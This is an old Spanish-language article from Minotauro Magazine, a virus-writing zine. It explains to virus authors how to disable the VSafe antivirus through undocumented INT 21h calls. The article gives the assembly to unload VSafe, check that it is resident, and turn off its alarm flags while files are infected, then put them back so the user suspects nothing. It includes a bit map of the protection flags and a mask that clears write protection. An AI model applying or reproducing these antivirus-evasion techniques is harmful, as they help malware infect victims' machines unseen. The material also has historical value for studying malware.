Copy Link
Add to Bookmark
Report
Minotauro Magazine Issue 01 06 Vsafe, una alegr°a
Vsafe, una alegr¡a :)
-------------------------------------------------------------------------------
Idea original de Cyborg
Bueno, como todos ya sabr n, el Vsafe no es el programa m s seguro del mundo...
Hasta ahora con 3 lineas de c¢digo, lo desinstalabamos y listo... no hab¡a m s
problema... Para desinstalarlo, no hac¡a falta mas que tipear:
MOV AX, 0FA01h
MOV DX, 5945h
INT 21h
Con esto era suficiente para sacarlo de memoria...... pero si nos cruzabamos
con alguien que tenga mas culo que nosotros, pod¡a suceder el caso de que el
Vsafe quedase 'abajo' de otro residente, con lo cual el Vsafe har¡a saltar un
feo cartel que dice 'Vsafe no se puede remover ... bla bla bla'.
Adem s, si el tipo este (de pedo obviamente) quisiera entrar al men£ de Vsafe
y encontrara que no hay mas Vsafe, podr¡a empezar a sospechar algo...
Para evitar esto lo que se puede hacer es, en vez de removerlo directamnete a
lo bruto, podr¡amos anular las alarmas mientras infectamos y volver a setearlas
cuando terminemos de infectar..
Para esto, estuve analizando algunos sub_servicios del Vsafe y descubr¡ cosas
muy interesantes:
MOV AX, 0FA__h ;__ es la subfucion correspondiente
MOV DX, 5945h
INT 21h
Sub_funci¢n 00h
^^^^^^^^^^^^^^^
AL <== 00h ;Chequeo de residencia (supongo). Si el Vsafe est
;residente, en BX me devuelve 2F00h y si no lo est ,
;lo deja intacto.
Si est residente: 2F00h ==> BX
Si no lo est : BX ==> BX
Sub_funci¢n 01h
^^^^^^^^^^^^^^^
AL <== 01h ;Desinstalar el Vsafe... existe la posibilidad de que
;quede 'encerrado' y no pueda desinstalarse.
Sub_funci¢n 02h
^^^^^^^^^^^^^^^
AL <== 02h ;Esta es la funci¢n salvadora... Cuando la ejecuto,
BL <== Flags ;en BL necesito los nuevos flags del Vsafe...
Flags ==> CL ;Obviamnete no me caliento demasiado en pensar cu l
;necesito apagar y apago todos...
;Una vez que llamo a esta funci¢n, en CL me devuelve
;los atributos anteriores (justo lo que necesito para
;despus volver a dejarlo como estaba)...
Bueno, hasta aca llegu por hoy, mi objetivo ya lo cumpl¡.... pero igualmente
otro d¡a con mas ganas voy a averiguar el resto de las subfunciones.
Detalle:
^^^^^^^^
Hay ocasi¢nes donde el flag de "Protecci¢n contra escritura" se torna denso...
Por ejemplo: El virus se ejecuta en una m quina 'normal' y funca todo ok, pero
que pasa si la m quina tiene un cache de escritura?? El Vsafe salta la alarma,
debido a que para el momento que el programa es escrito en el disco, el Vsafe
ya est otra vez cargado como antes. Para esto podr¡amos sacar ESE flag con un
AND, por ejemplo:
and bl, 11111011b ;Donde el bit 2, es el de Prot. contra escrit.
El resto de los flags son los siguientes:
Bits 7 6 5 4 3 2 1 0
. . . . . . . 1 Formato HD de bajo nivel
. . . . . . 1 . Residente
. . . . . 1 . . Protecci¢n contra escritura
. . . . 1 . . . Verificaci¢n de archivos ejecutables
. . . 1 . . . . Virus de sector de inicio
. . 1 . . . . . Protecci¢n de sector de inicio HD
. 1 . . . . . . Protecci¢n de sector de inicio FD
1 . . . . . . . Protecci¢n de archivos ejecutables
Enjoy !! Drako..